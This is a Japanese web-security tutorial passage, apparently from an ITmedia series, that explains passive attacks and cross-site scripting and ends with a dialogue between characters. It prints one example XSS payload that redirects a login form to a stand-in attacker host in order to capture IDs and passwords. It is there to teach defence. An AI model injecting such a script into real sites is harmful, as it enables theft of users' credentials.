Webアプリケーションに対する受動的攻撃で重要となるのが、「攻撃を行っているサーバがどこにあるか」ということである。よく混同されてしまうのが、脆弱性のあるサーバで攻撃が行われるのと、攻撃者が用意したサーバ上で同じことを行うのとでは、決定的な違いがある。
【注】
例えば、ブラウザクラッシャーのような攻撃者が用意したサーバのみで完結できる受動的攻撃の場合、Webアプリケーションの脆弱性は関係ない場合が多い。
クロスサイトスクリプティングの場合では、表示されるHTML上にJavaScriptを埋め込むことで、表示を変更したり、認証情報(Cookie情報)などを外部サイトへ送信したりすることができる。
例えば、図4のようなWebページが存在している場合、改ざんされているか否かが分かるだろうか?
ログイン画面が表示されているだけで、アクセスしているURLも問題なく、証明書もエラーとなっていない。しかし、ブラウザ上の見た目では分からなくとも、仮に、以下のようなJavaScriptが埋め込まれていたとしたら、ログインを行おうとした際に、IDおよびパスワードが外部サイトに送信される仕組みになっているという可能性もある。
<script>document.forms[0].action="https://attack.example.com/"</script>
ここで1つ考慮すべきは、ユーザーにとっては、「ドメイン名も証明書も問題なく見える」ということである。これが、攻撃者が自ら用意したWebサーバであった場合、ドメイン名も証明書も正規のサイトとはまったく異なるものとなりユーザーが異変にすぐに気付くことができる。
ユーザーがログインを実行するのを待つような形ではなくとも、すでにユーザーがログイン状態であり、Cookieによって認証情報が管理されているような場合、ユーザーにまったく気付かれることなく攻撃を成功させることも可能である。
これらの攻撃は、「怪しいリンクをクリックしなければ大丈夫」というものではない。何げなく閲覧しているブログに攻撃コードが埋め込まれている可能性も否定はできない。攻撃されているか否かは、注意深くHTTPメッセージ(リクエスト、レスポンスの双方)を解析していないと通常は分からない形で実行されてしまうこともある。
「脆弱性があるかもしれない」という前提でWebアプリケーションを利用することを考えなければならないとした場合、ユーザーとしては、ブラウザがサーバとやりとりするHTTPリクエストおよびHTTPレスポンスをヘッダも含めてすべて見る必要が出てきてしまう。そのため、Webアプリケーション側での対策が必須となってくるのである。
@IT messenger v2.0(beta)
クウ 意外と奥が深いのですね……。クロスサイトスクリプティングとか基本だし、とか思ってたから深く考えたことなかったです
ジュン あからさまに書き換えている場合は、「改ざんされてる!」って分かるけど、本気で攻撃しようと思ったら、ほとんど気付かれない形でスクリプトとか埋め込めたりするからねぇ。
クウ 今回の事件は、ユーザーに攻撃することが目的だったから、SQLインジェクションを情報漏えいの方向じゃなくて、Webページ改ざんにしたんですねぇ
ジュン 多くのユーザーの目に触れることで、実力を誇示したいとかだと、特に目立つように改ざんしたりするだろうねぇ。
そんなわけで、そろそろ寝るー。
クウ いつも教えてもらっちゃって申し訳ないす!
ジュン 人に教えるの好きだからねー。趣味みたいなもんだよー。役に立てたならうれしいしー。 じゃ、おやすみぃ
クウ おやすみなさーい。
次の日、受動的攻撃を理解したクウは意気揚々と出社した。
ナツ 「昨日はごめんねぇ。話が中途半端になっちゃって」
クウ 「いえいえー。大丈夫っす!」
ナツ 「受動的攻撃の話する?」
クウ 「ふふふ……。実は昨日家に帰ってから、メッセの知り合いに教えてもらったのです♪」
ナツ 「ほおー。Webアプリのセキュリティに詳しい人が知り合いにいるのだねー。もしかしたら知ってる人だったりして」
クウ 「あは。意外とあり得ますねぇー」
【クウたちの壁紙カレンダー、配布中!】
本連載のイラストを担当しているはるぷさんによる、毎月更新のカレンダーが配布されています。ぜひご利用ください!
特製ウォールペーパー
http://www.ubsecure.jp/wallpaper.php
(Illustrated by はるぷ)
株式会社ユービーセキュア 技術本部 VEXグループ リーダー 兼 セキュリティオーディットコンサルタント
杉山 俊春(すぎやま としはる)
セキュリティコンサルタントとして、主にWebアプリケーションのセキュリティ検査やWebアプリケーション検査ツールの開発などに従事している。大手ショッピングサイトなどの検査実績を持つ。
Copyright © ITmedia, Inc. All Rights Reserved.